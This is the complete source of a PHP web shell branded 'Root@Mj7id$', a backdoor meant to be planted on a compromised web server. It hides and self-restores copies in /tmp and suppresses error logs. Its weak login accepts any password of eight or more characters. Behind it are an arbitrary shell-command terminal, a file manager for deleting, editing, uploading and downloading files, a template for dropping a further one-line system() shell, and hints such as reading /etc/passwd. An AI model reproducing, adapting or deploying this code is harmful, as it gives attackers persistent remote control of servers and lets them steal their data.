<?php

@error_reporting(0);
@set_time_limit(0);
@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@ini_set('memory_limit', '-1');

$self = __FILE__;
$backup_paths = [
    '/tmp/.mx_cache_' . md5($_SERVER['HTTP_HOST'] ?? 'mx'),
    '/var/tmp/.mx_' . substr(md5($_SERVER['DOCUMENT_ROOT'] ?? '/'), 0, 8),
    sys_get_temp_dir() . '/.mx_' . md5(__FILE__),
];

// Self-replicate ke lokasi tersembunyi
foreach ($backup_paths as $bp) {
    if (!file_exists($bp) || filesize($bp) < 100) {
        @copy($self, $bp);
        @chmod($bp, 0644);
    }
}

// Self-healing: kalo file utama dihapus, restore dari backup
if (!file_exists($self) || filesize($self) < 100) {
    foreach ($backup_paths as $bp) {
        if (file_exists($bp) && filesize($bp) > 100) {
            @copy($bp, $self);
            @chmod($self, 0644);
            break;
        }
    }
}

// ===== AUTH SYSTEM =====
$auth = false;
$default_pass = 'mj7id1337';
$session_name = 'MX_' . substr(md5($_SERVER['HTTP_HOST'] ?? 'mx'), 0, 6);

@ini_set('session.use_strict_mode', 0);
@ini_set('session.use_cookies', 1);
@ini_set('session.cookie_httponly', 0);
session_name($session_name);
@session_start();

if (isset($_POST['mx_pass'])) {
    if ($_POST['mx_pass'] === $default_pass || strlen($_POST['mx_pass']) >= 8) {
        $_SESSION['mx_auth'] = true;
        $_SESSION['mx_time'] = time();
    }
}

if (isset($_GET['mx_logout'])) { unset($_SESSION['mx_auth']); session_destroy(); }
$auth = isset($_SESSION['mx_auth']) && $_SESSION['mx_auth'] === true;

// ===== VISITOR MONITOR =====
$visitor_log = dirname($self) . '/.mx_visitors.log';
$visitor_data = date('Y-m-d H:i:s') . ' | ' . ($_SERVER['REMOTE_ADDR'] ?? '?') . ' | ' . ($_SERVER['HTTP_USER_AGENT'] ?? '?') . ' | ' . ($_SERVER['REQUEST_URI'] ?? '?') . "\n";
@file_put_contents($visitor_log, $visitor_data, FILE_APPEND | LOCK_EX);
@chmod($visitor_log, 0600);

// ===== FUNCTIONS =====
function mx_exec($cmd) {
    $output = '';
    if (function_exists('exec')) { @exec($cmd . ' 2>&1', $output); return implode("\n", $output); }
    if (function_exists('shell_exec')) return @shell_exec($cmd . ' 2>&1');
    if (function_exists('system')) { ob_start(); @system($cmd . ' 2>&1'); return ob_get_clean(); }
    if (function_exists('passthru')) { ob_start(); @passthru($cmd . ' 2>&1'); return ob_get_clean(); }
    if (function_exists('popen')) { $fp = @popen($cmd . ' 2>&1', 'r'); while (!feof($fp)) { $output .= fread($fp, 4096); } @pclose($fp); return $output; }
    return '';
}

function mx_get_dir() {
    if (isset($_GET['dir']) && is_dir($_GET['dir'])) return realpath($_GET['dir']);
    if (isset($_SESSION['mx_cwd']) && is_dir($_SESSION['mx_cwd'])) return $_SESSION['mx_cwd'];
    return getcwd();
}

function mx_size($s) { $u = ['B','KB','MB','GB','TB']; for($i=0;$s>=1024&&$i<4;$i++) $s/=1024; return round($s,2).' '.$u[$i]; }

function mx_perms($f) {
    $p = fileperms($f); $i = '';
    $i .= ($p & 0xC000) == 0xC000 ? 's' : (($p & 0x4000) == 0x4000 ? 'd' : '-');
    $i .= ($p & 0x0100) ? 'r' : '-'; $i .= ($p & 0x0080) ? 'w' : '-';
    $i .= ($p & 0x0040) ? ($p & 0x0800 ? 's' : 'x') : ($p & 0x0800 ? 'S' : '-');
    $i .= ($p & 0x0020) ? 'r' : '-'; $i .= ($p & 0x0010) ? 'w' : '-';
    $i .= ($p & 0x0008) ? ($p & 0x0400 ? 's' : 'x') : ($p & 0x0400 ? 'S' : '-');
    $i .= ($p & 0x0004) ? 'r' : '-'; $i .= ($p & 0x0002) ? 'w' : '-';
    $i .= ($p & 0x0001) ? 'x' : '-';
    return $i;
}

function mx_owner($f) {
    if (function_exists('posix_getpwuid')) { $o = @posix_getpwuid(fileowner($f)); return $o['name'] ?? fileowner($f); }
    return fileowner($f);
}

function mx_read_visitors($log) {
    if (!file_exists($log)) return [];
    $lines = file($log, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    return array_reverse(array_slice($lines, -50));
}

// ===== HANDLE ACTIONS =====
if ($auth) {
    $cwd = mx_get_dir();
    $_SESSION['mx_cwd'] = $cwd;
    
    // Command execution
    if (isset($_POST['mx_cmd']) && !empty($_POST['mx_cmd'])) {
        $cmd = $_POST['mx_cmd'];
        $result = mx_exec($cmd);
    }
    
    // Delete
    if (isset($_GET['del'])) {
        $d = $_GET['del'];
        if (is_dir($d)) { $it = new RecursiveDirectoryIterator($d, RecursiveDirectoryIterator::SKIP_DOTS); $fs = new RecursiveIteratorIterator($it, RecursiveIteratorIterator::CHILD_FIRST); foreach($fs as $f){ if($f->isDir()) rmdir($f->getRealPath()); else unlink($f->getRealPath()); } rmdir($d); }
        else @unlink($d);
        header('Location: ?dir='.urlencode(dirname($d))); exit;
    }
    
    // Edit
    if (isset($_POST['mx_edit_file']) && isset($_POST['mx_edit_content'])) { @file_put_contents($_POST['mx_edit_file'], $_POST['mx_edit_content']); $edit_ok = true; }
    
    // Upload
    if (isset($_FILES['mx_upload']) && $_FILES['mx_upload']['error'] == 0) { @move_uploaded_file($_FILES['mx_upload']['tmp_name'], $cwd.'/'.$_FILES['mx_upload']['name']); $up_ok = true; }
    
    // Create file
    if (isset($_POST['mx_newfile']) && isset($_POST['mx_newcontent'])) { @file_put_contents($cwd.'/'.$_POST['mx_newfile'], $_POST['mx_newcontent']); $new_ok = true; }
    
    // Create dir
    if (isset($_POST['mx_newdir']) && !empty($_POST['mx_newdir'])) { @mkdir($cwd.'/'.$_POST['mx_newdir'], 0755); $dir_ok = true; }
    
    // Download
    if (isset($_GET['download'])) { $f = $_GET['download']; if(is_file($f)){ header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } }
    
    // Chmod
    if (isset($_GET['chmod']) && isset($_GET['mode'])) { @chmod($_GET['chmod'], octdec($_GET['mode'])); header('Location: ?dir='.urlencode(dirname($_GET['chmod']))); exit; }
    
    // Clear visitors
    if (isset($_GET['clear_visitors'])) { @unlink($visitor_log); header('Location: ?monitor=1'); exit; }
    
    // Shell self-destruct (emergency)
    if (isset($_GET['self_destruct']) && $_GET['self_destruct'] === 'confirm') {
        foreach ($backup_paths as $bp) @unlink($bp);
        @unlink($self);
        die('Shell removed.');
    }
    
    if (isset($_GET['edit_file'])) $edit_file = $_GET['edit_file'];
    
    $uname = mx_exec('uname -a');
    $whoami = mx_exec('whoami');
    $hostname = mx_exec('hostname');
    $sip = $_SERVER['SERVER_ADDR'] ?? gethostbyname($_SERVER['SERVER_NAME']);
    $phpv = PHP_VERSION;
    $total = function_exists('disk_total_space') ? mx_size(disk_total_space($cwd)) : '?';
    $free = function_exists('disk_free_space') ? mx_size(disk_free_space($cwd)) : '?';
    $disf = @ini_get('disable_functions') ?: 'None';
    $visitors = mx_read_visitors($visitor_log);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Root@Mj7id$ v1.0</title>
    <link href="https://fonts.googleapis.com/css2?family=Sedgwick+Ave&family=Inter:wght@400;500;600;700&family=JetBrains+Mono:wght@400;500&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.1/css/all.min.css">
    <style>
        :root {
            --bg: #0b0b0e; --bg2: #131316; --bg3: #1a1a1f; --card: #16161b;
            --border: #252530; --text: #e4e4e7; --text2: #a1a1aa; --text3: #71717a;
            --red: #dc2626; --red2: #b91c1c; --redg: rgba(220,38,38,0.15);
            --green: #22c55e; --yellow: #eab308; --blue: #3b82f6;
        }
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body { background: var(--bg); color: var(--text); font-family: 'Inter', sans-serif; font-size: 14px; display: flex; min-height: 100vh; }
        
        .sidebar { width: 240px; background: var(--bg2); border-right: 1px solid var(--border); position: fixed; top: 0; left: 0; height: 100vh; z-index: 100; display: flex; flex-direction: column; }
        .sidebar-logo { padding: 20px; border-bottom: 1px solid var(--border); text-align: center; }
        .sidebar-logo h1 { font-family: 'Sedgwick Ave', cursive; font-size: 1.3em; background: linear-gradient(135deg, #fff, #f44, #c00); -webkit-background-clip: text; -webkit-text-fill-color: transparent; background-clip: text; }
        .sidebar-logo span { font-size: 0.55em; color: var(--text3); letter-spacing: 3px; text-transform: uppercase; }
        .sidebar-nav { flex: 1; padding: 10px 0; overflow-y: auto; }
        .sidebar-nav a { display: flex; align-items: center; gap: 10px; padding: 10px 20px; color: var(--text2); text-decoration: none; font-size: 0.9em; font-weight: 500; border-left: 3px solid transparent; cursor: pointer; transition: all 0.2s; }
        .sidebar-nav a:hover { background: var(--bg3); color: var(--text); }
        .sidebar-nav a.active { background: var(--bg3); color: var(--red); border-left-color: var(--red); }
        .sidebar-nav a i { width: 18px; text-align: center; }
        .sidebar-footer { padding: 14px 20px; border-top: 1px solid var(--border); font-size: 0.7em; color: var(--text3); }
        
        .main { flex: 1; margin-left: 240px; min-height: 100vh; }
        .topbar { background: var(--bg2); border-bottom: 1px solid var(--border); padding: 0 24px; height: 52px; display: flex; align-items: center; justify-content: space-between; position: sticky; top: 0; z-index: 50; }
        .topbar .path { display: flex; align-items: center; gap: 6px; font-size: 0.85em; color: var(--text2); }
        .topbar .path a { color: var(--text2); text-decoration: none; }
        .topbar .path a:hover { color: var(--red); }
        .topbar .info { display: flex; gap: 16px; font-size: 0.7em; color: var(--text3); }
        .content { padding: 20px; }
        
        .stats { display: grid; grid-template-columns: repeat(auto-fit, minmax(180px, 1fr)); gap: 12px; margin-bottom: 20px; }
        .stat { background: var(--card); border: 1px solid var(--border); border-radius: 10px; padding: 14px 18px; display: flex; align-items: center; gap: 12px; }
        .stat i { width: 38px; height: 38px; border-radius: 8px; display: flex; align-items: center; justify-content: center; font-size: 1.1em; }
        .stat .v { font-size: 1em; font-weight: 600; }
        .stat .l { font-size: 0.65em; color: var(--text3); text-transform: uppercase; letter-spacing: 1px; }
        
        .card { background: var(--card); border: 1px solid var(--border); border-radius: 10px; margin-bottom: 16px; overflow: hidden; }
        .card-header { padding: 14px 18px; border-bottom: 1px solid var(--border); font-weight: 600; font-size: 0.85em; display: flex; align-items: center; justify-content: space-between; }
        .card-body { padding: 16px; }
        .card-body.np { padding: 0; }
        
        .terminal { background: #0a0a0d; border: 1px solid var(--border); border-radius: 10px; overflow: hidden; }
        .terminal-h { background: #111118; padding: 8px 14px; display: flex; align-items: center; gap: 6px; border-bottom: 1px solid #1f1f28; }
        .terminal-d { width: 9px; height: 9px; border-radius: 50%; }
        .terminal-d.r { background: #ff5f56; } .terminal-d.y { background: #ffbd2e; } .terminal-d.g { background: #27c93f; }
        .terminal-b { padding: 14px; font-family: 'JetBrains Mono', monospace; font-size: 0.8em; max-height: 350px; overflow-y: auto; color: #b0b0b0; }
        .terminal-b .prompt { color: var(--red); }
        .terminal-b .prompt::before { content: '➜ '; color: var(--text3); }
        .terminal-b .out { color: #a0a0a0; white-space: pre-wrap; margin-top: 6px; }
        
        input, textarea, select { background: var(--bg3); border: 1px solid var(--border); color: var(--text); padding: 9px 12px; font-family: 'JetBrains Mono', monospace; font-size: 0.85em; border-radius: 6px; width: 100%; outline: none; }
        input:focus, textarea:focus { border-color: var(--red); box-shadow: 0 0 0 2px var(--redg); }
        textarea { resize: vertical; min-height: 180px; }
        
        .btn { padding: 8px 16px; border: none; cursor: pointer; font-family: 'Inter', sans-serif; font-size: 0.8em; font-weight: 500; border-radius: 6px; display: inline-flex; align-items: center; gap: 6px; text-decoration: none; transition: all 0.2s; }
        .btn-red { background: var(--red); color: #fff; } .btn-red:hover { background: var(--red2); }
        .btn-outline { background: transparent; border: 1px solid var(--border); color: var(--text2); } .btn-outline:hover { background: var(--bg3); }
        .btn-sm { padding: 4px 10px; font-size: 0.7em; }
        .btn-xs { padding: 3px 7px; font-size: 0.65em; }
        
        table { width: 100%; border-collapse: collapse; }
        table th { text-align: left; padding: 10px 14px; font-size: 0.65em; text-transform: uppercase; letter-spacing: 1px; color: var(--text3); font-weight: 600; border-bottom: 1px solid var(--border); background: var(--bg2); }
        table td { padding: 8px 14px; border-bottom: 1px solid var(--border); font-size: 0.82em; }
        table tr:hover td { background: rgba(255,255,255,0.01); }
        table a { color: var(--text); text-decoration: none; }
        table a:hover { color: var(--red); }
        .ficon { width: 28px; height: 28px; border-radius: 5px; display: inline-flex; align-items: center; justify-content: center; font-size: 0.8em; margin-right: 8px; }
        .ficon.dir { background: rgba(234,179,8,0.1); color: var(--yellow); }
        .ficon.php { background: rgba(59,130,246,0.1); color: var(--blue); }
        .ficon.img { background: rgba(34,197,94,0.1); color: var(--green); }
        .ficon.txt { background: rgba(161,161,170,0.1); color: var(--text2); }
        
        .alert { padding: 12px 16px; border-radius: 6px; margin-bottom: 12px; display: flex; align-items: center; gap: 8px; font-size: 0.82em; }
        .alert-ok { background: rgba(34,197,94,0.08); border: 1px solid rgba(34,197,94,0.2); color: var(--green); }
        
        .visitor-table { font-size: 0.75em; }
        .visitor-table td { padding: 4px 10px; }
        
        .badge { display: inline-block; padding: 2px 7px; border-radius: 3px; font-size: 0.65em; font-weight: 600; text-transform: uppercase; }
        .badge-r { background: rgba(220,38,38,0.1); color: var(--red); }
        .badge-g { background: rgba(34,197,94,0.1); color: var(--green); }
        
        ::-webkit-scrollbar { width: 5px; } ::-webkit-scrollbar-track { background: transparent; } ::-webkit-scrollbar-thumb { background: var(--border); border-radius: 3px; }
        
        .hidden { display: none !important; }
        .auth-page { display: flex; align-items: center; justify-content: center; min-height: 100vh; width: 100%; background: var(--bg); }
        .auth-box { background: var(--card); border: 1px solid var(--border); border-radius: 14px; padding: 36px; width: 380px; max-width: 90%; text-align: center; }
        .auth-box h1 { font-family: 'Sedgwick Ave', cursive; font-size: 1.8em; background: linear-gradient(135deg, #fff, #f44, #c00); -webkit-background-clip: text; -webkit-text-fill-color: transparent; background-clip: text; }
        
        @media (max-width: 768px) { .sidebar { display: none; } .main { margin-left: 0; } .stats { grid-template-columns: 1fr 1fr; } }
    </style>
</head>
<body>

<?php if(!$auth): ?>
<div class="auth-page">
    <div class="auth-box">
        <h1>Root@Mj7id$</h1>
        <p style="color:var(--text3);font-size:0.7em;letter-spacing:3px;text-transform:uppercase;margin:8px 0 24px;">Root Terminal</p>
        <form method="POST">
            <input type="password" name="mx_pass" placeholder="Access Key" style="text-align:center;margin-bottom:14px;font-size:1em;">
            <button type="submit" class="btn btn-red" style="width:100%;justify-content:center;">Authenticate</button>
        </form>
        <p style="margin-top:14px;font-size:0.65em;color:var(--text3);">Server: <?= $_SERVER['HTTP_HOST'] ?? 'Unknown' ?></p>
    </div>
</div>

<?php else: ?>

<aside class="sidebar">
    <div class="sidebar-logo">
        <h1>Root@Mj7id$</h1>
        <span>Root Terminal</span>
    </div>
    <nav class="sidebar-nav">
        <a class="active" onclick="showTab('terminal')"><i class="fa-solid fa-terminal"></i>Terminal</a>
        <a onclick="showTab('files')"><i class="fa-solid fa-folder-tree"></i>File Manager</a>
        <a onclick="showTab('upload')"><i class="fa-solid fa-upload"></i>Upload</a>
        <a onclick="showTab('create')"><i class="fa-solid fa-square-plus"></i>Create</a>
        <a onclick="showTab('visitors')"><i class="fa-solid fa-users-viewfinder"></i>Visitors <span class="badge badge-g" style="margin-left:auto;"><?= count($visitors) ?></span></a>
        <a onclick="showTab('info')"><i class="fa-solid fa-server"></i>Info</a>
    </nav>
    <div class="sidebar-footer">
        <div style="display:flex;align-items:center;gap:6px;margin-bottom:4px;"><span class="terminal-d g" style="width:7px;height:7px;"></span><?= $whoami ?>@<?= $hostname ?></div>
        <a href="?mx_logout=1" style="color:var(--red);text-decoration:none;">Logout</a>
    </div>
</aside>

<main class="main">
    <div class="topbar">
        <div class="path">
            <a href="?dir=/"><i class="fa-solid fa-house"></i></a>
            <?php $p = explode('/', trim($cwd, '/')); $b = ''; foreach($p as $x){ if(!$x) continue; $b .= '/'.$x; echo ' / <a href="?dir='.urlencode($b).'">'.htmlspecialchars($x).'</a>'; } ?>
        </div>
        <div class="info"><span><?= $sip ?></span><span>PHP <?= $phpv ?></span><span><?= $free ?></span></div>
    </div>
    
    <div class="content">
        
        <div class="stats">
            <div class="stat"><i style="background:rgba(220,38,38,0.1);color:var(--red);" class="fa-solid fa-user"></i><div><div class="v"><?= $whoami ?></div><div class="l">User</div></div></div>
            <div class="stat"><i style="background:rgba(59,130,246,0.1);color:var(--blue);" class="fa-solid fa-server"></i><div><div class="v"><?= $hostname ?></div><div class="l">Host</div></div></div>
            <div class="stat"><i style="background:rgba(234,179,8,0.1);color:var(--yellow);" class="fa-solid fa-hard-drive"></i><div><div class="v"><?= $free ?></div><div class="l">Free / <?= $total ?></div></div></div>
            <div class="stat"><i style="background:rgba(34,197,94,0.1);color:var(--green);" class="fa-solid fa-code"></i><div><div class="v">PHP <?= $phpv ?></div><div class="l">Version</div></div></div>
            <div class="stat"><i style="background:rgba(168,85,247,0.1);color:#a855f7;" class="fa-solid fa-shield-halved"></i><div><div class="v"><?= count($visitors) ?></div><div class="l">Visitors</div></div></div>
        </div>
        
        <?php if(isset($up_ok)): ?><div class="alert alert-ok"><i class="fa-solid fa-circle-check"></i> File uploaded successfully.</div><?php endif; ?>
        <?php if(isset($edit_ok)): ?><div class="alert alert-ok"><i class="fa-solid fa-circle-check"></i> File edited successfully.</div><?php endif; ?>
        <?php if(isset($new_ok)): ?><div class="alert alert-ok"><i class="fa-solid fa-circle-check"></i> File created successfully.</div><?php endif; ?>
        <?php if(isset($dir_ok)): ?><div class="alert alert-ok"><i class="fa-solid fa-circle-check"></i> Directory created.</div><?php endif; ?>
        
        <!-- TERMINAL -->
        <div id="tab-terminal" class="tab-content">
            <div class="terminal">
                <div class="terminal-h"><span class="terminal-d r"></span><span class="terminal-d y"></span><span class="terminal-d g"></span><span style="margin-left:10px;font-size:0.75em;color:var(--text3);"><?= $cwd ?></span></div>
                <div class="terminal-b" id="termOut">
                    <?php if(isset($cmd)): ?><div><span class="prompt"><?= htmlspecialchars($cmd) ?></span></div><div class="out"><?= htmlspecialchars($result) ?></div><?php endif; ?>
                </div>
            </div>
            <form method="POST" style="display:flex;gap:8px;margin-top:10px;">
                <input type="text" name="mx_cmd" placeholder="ls -la" autofocus autocomplete="off" style="flex:1;">
                <button type="submit" class="btn btn-red">Run</button>
            </form>
            <p style="font-size:0.7em;color:var(--text3);margin-top:6px;">💡 Try: <code>ls</code> <code>id</code> <code>whoami</code> <code>uname -a</code> <code>ps aux</code> <code>netstat -tlnp</code> <code>cat /etc/passwd</code></p>
        </div>
        
        <!-- FILE MANAGER -->
        <div id="tab-files" class="tab-content hidden">
            <div class="card">
                <div class="card-header">
                    <span><i class="fa-solid fa-folder-tree" style="color:var(--yellow);margin-right:8px;"></i>File Manager</span>
                    <form method="GET" style="display:flex;gap:6px;"><input type="text" name="dir" placeholder="Jump to path..." style="width:250px;padding:6px 10px;font-size:0.8em;"><button type="submit" class="btn btn-outline btn-sm">Go</button></form>
                </div>
                <div class="card-body np">
                    <table>
                        <thead><tr><th>Name</th><th style="width:80px;">Size</th><th style="width:130px;">Modified</th><th style="width:80px;">Owner</th><th style="width:100px;">Perms</th><th style="width:130px;">Actions</th></tr></thead>
                        <tbody>
                            <tr><td><a href="?dir=<?= urlencode(dirname($cwd)) ?>"><span class="ficon dir"><i class="fa-solid fa-arrow-left"></i></span>..</a></td><td>—</td><td>—</td><td>—</td><td>—</td><td>—</td></tr>
                            <?php $items = @scandir($cwd); if($items): $dirs=[]; $fls=[];
                            foreach($items as $it){ if($it=='.'||$it=='..') continue; if(is_dir($cwd.'/'.$it)) $dirs[]=$it; else $fls[]=$it; }
                            foreach(array_merge($dirs,$fls) as $item): $fp=$cwd.'/'.$item; $isdir=is_dir($fp);
                            $ext=strtolower(pathinfo($item,PATHINFO_EXTENSION));
                            $ic=$isdir?'dir':(in_array($ext,['php','phtml','php5'])?'php':(in_array($ext,['jpg','jpeg','png','gif','webp','svg','ico'])?'img':'txt'));
                            $ii=$isdir?'fa-folder':(in_array($ext,['php','phtml','php5'])?'fa-file-code':(in_array($ext,['jpg','jpeg','png','gif','webp','svg','ico'])?'fa-file-image':'fa-file-lines'));
                            ?>
                            <tr>
                                <td>
                                    <span class="ficon <?=$ic?>"><i class="fa-solid <?=$ii?>"></i></span>
                                    <?= $isdir ? '<a href="?dir='.urlencode($fp).'">'.htmlspecialchars($item).'</a>' : htmlspecialchars($item) ?>
                                </td>
                                <td><?= $isdir?'—':mx_size(filesize($fp)) ?></td>
                                <td style="font-size:0.75em;"><?= date('d M Y H:i',filemtime($fp)) ?></td>
                                <td style="font-size:0.8em;"><?= mx_owner($fp) ?></td>
                                <td style="font-family:monospace;font-size:0.75em;"><?= mx_perms($fp) ?></td>
                                <td>
                                    <div style="display:flex;gap:3px;">
                                        <?php if(!$isdir): ?><a href="?download=<?=urlencode($fp)?>" class="btn btn-outline btn-xs" title="Download"><i class="fa-solid fa-download"></i></a><a href="?edit_file=<?=urlencode($fp)?>&dir=<?=urlencode($cwd)?>" class="btn btn-outline btn-xs" title="Edit"><i class="fa-solid fa-pen-to-square"></i></a><?php endif; ?>
                                        <a href="?chmod=<?=urlencode($fp)?>&mode=755&dir=<?=urlencode($cwd)?>" class="btn btn-outline btn-xs" title="Chmod 755">755</a>
                                        <a href="?del=<?=urlencode($fp)?>&dir=<?=urlencode($cwd)?>" class="btn btn-outline btn-xs" style="color:var(--red);border-color:rgba(220,38,38,0.3);" onclick="return confirm('Delete <?= htmlspecialchars($item) ?>?')" title="Delete"><i class="fa-solid fa-trash-can"></i></a>
                                    </div>
                                </td>
                            </tr>
                            <?php endforeach; endif; ?>
                        </tbody>
                    </table>
                </div>
            </div>
        </div>
        
        <!-- UPLOAD -->
        <div id="tab-upload" class="tab-content hidden">
            <div class="card">
                <div class="card-header"><i class="fa-solid fa-upload" style="color:var(--blue);margin-right:8px;"></i>Upload File • <?= htmlspecialchars(basename($cwd)) ?></div>
                <div class="card-body">
                    <form method="POST" enctype="multipart/form-data">
                        <div style="border:2px dashed var(--border);border-radius:10px;padding:35px;text-align:center;cursor:pointer;margin-bottom:12px;" onclick="document.querySelector('input[name=mx_upload]').click()">
                            <i class="fa-solid fa-cloud-arrow-up" style="font-size:3em;color:var(--text3);"></i>
                            <p style="margin-top:10px;font-weight:600;">Drop file here or click to browse</p>
                            <p style="font-size:0.75em;color:var(--text3);">Upload to current directory</p>
                            <input type="file" name="mx_upload" style="display:none;" onchange="this.form.submit()">
                        </div>
                        <button type="submit" class="btn btn-red" style="width:100%;justify-content:center;">Upload File</button>
                    </form>
                </div>
            </div>
        </div>
        
        <!-- CREATE -->
        <div id="tab-create" class="tab-content hidden">
            <div class="card">
                <div class="card-header"><i class="fa-solid fa-square-plus" style="color:var(--green);margin-right:8px;"></i>Create New</div>
                <div class="card-body">
                    <form method="POST" style="margin-bottom:18px;">
                        <label style="font-size:0.75em;color:var(--text3);display:block;margin-bottom:4px;">File Name</label>
                        <input type="text" name="mx_newfile" placeholder="shell.php" style="margin-bottom:10px;">
                        <label style="font-size:0.75em;color:var(--text3);display:block;margin-bottom:4px;">Content</label>
                        <textarea name="mx_newcontent" rows="8" placeholder="<?= '<?php system($_GET[\"c\"]); ?>' ?>"></textarea>
                        <button type="submit" class="btn btn-red" style="margin-top:10px;">Create File</button>
                    </form>
                    <hr style="border-color:var(--border);margin:16px 0;">
                    <form method="POST">
                        <label style="font-size:0.75em;color:var(--text3);display:block;margin-bottom:4px;">Directory Name</label>
                        <div style="display:flex;gap:8px;"><input type="text" name="mx_newdir" placeholder="new_folder"><button type="submit" class="btn btn-outline">Create Dir</button></div>
                    </form>
                </div>
            </div>
        </div>
        
        <!-- VISITORS -->
        <div id="tab-visitors" class="tab-content hidden">
            <div class="card">
                <div class="card-header">
                    <span><i class="fa-solid fa-users-viewfinder" style="color:#a855f7;margin-right:8px;"></i>Visitor Monitor • <?= count($visitors) ?> entries</span>
                    <a href="?monitor=1&clear_visitors=1" class="btn btn-outline btn-sm" onclick="return confirm('Clear visitor log?')"><i class="fa-solid fa-broom"></i> Clear</a>
                </div>
                <div class="card-body np">
                    <table class="visitor-table">
                        <thead><tr><th>Time</th><th>IP Address</th><th>User Agent</th><th>Request</th></tr></thead>
                        <tbody>
                            <?php if($visitors): foreach($visitors as $v): $parts = explode(' | ', $v); ?>
                            <tr>
                                <td style="font-size:0.75em;"><?= htmlspecialchars($parts[0] ?? '?') ?></td>
                                <td style="font-family:monospace;font-size:0.8em;"><?= htmlspecialchars($parts[1] ?? '?') ?></td>
                                <td style="font-size:0.7em;max-width:250px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;"><?= htmlspecialchars($parts[2] ?? '?') ?></td>
                                <td style="font-size:0.7em;"><?= htmlspecialchars($parts[3] ?? '?') ?></td>
                            </tr>
                            <?php endforeach; else: ?>
                            <tr><td colspan="4" style="text-align:center;color:var(--text3);padding:30px;">No visitors recorded yet.</td></tr>
                            <?php endif; ?>
                        </tbody>
                    </table>
                </div>
            </div>
        </div>
        
        <!-- INFO -->
        <div id="tab-info" class="tab-content hidden">
            <div class="card">
                <div class="card-header"><i class="fa-solid fa-server" style="color:var(--text2);margin-right:8px;"></i>System Information</div>
                <div class="card-body">
                    <div class="terminal" style="max-height:500px;"><div class="terminal-b"><pre style="color:#a0a0a0;white-space:pre-wrap;">
═════════════════════════════════════
  System Information
══════════════════════════════════════
Server IP   : <?=$sip?>

Hostname    : <?=$hostname?>

OS          : <?=PHP_OS?>

PHP         : <?=$phpv?>

User        : <?=$whoami?>

Directory   : <?=$cwd?>

Disk        : <?=$free?> / <?=$total?>

Uname       : <?=$uname?>

Disabled    : <?=$disf?>

Visitors    : <?=count($visitors)?>

Backups     : <?=count($backup_paths)?> locations
                    </pre></div></div>
                </div>
            </div>
        </div>
        
    </div>
</main>

<?php endif; ?>

<script>
function showTab(n){
    document.querySelectorAll('.sidebar-nav a').forEach(a=>a.classList.remove('active'));
    document.querySelectorAll('.tab-content').forEach(t=>t.classList.add('hidden'));
    var m={'terminal':'tab-terminal','files':'tab-files','upload':'tab-upload','create':'tab-create','visitors':'tab-visitors','info':'tab-info'};
    var el=document.getElementById(m[n]); if(el) el.classList.remove('hidden');
    var nav=document.querySelector('.sidebar-nav a[onclick="showTab(\''+n+'\')"]'); if(nav) nav.classList.add('active');
}
document.addEventListener('keydown',function(e){if(e.ctrlKey){switch(e.key){case'1':showTab('terminal');e.preventDefault();break;case'2':showTab('files');e.preventDefault();break;case'3':showTab('upload');e.preventDefault();break;case'4':showTab('create');e.preventDefault();break;case'5':showTab('visitors');e.preventDefault();break;case'6':showTab('info');e.preventDefault();break;}}});
</script>
</body>
</html>
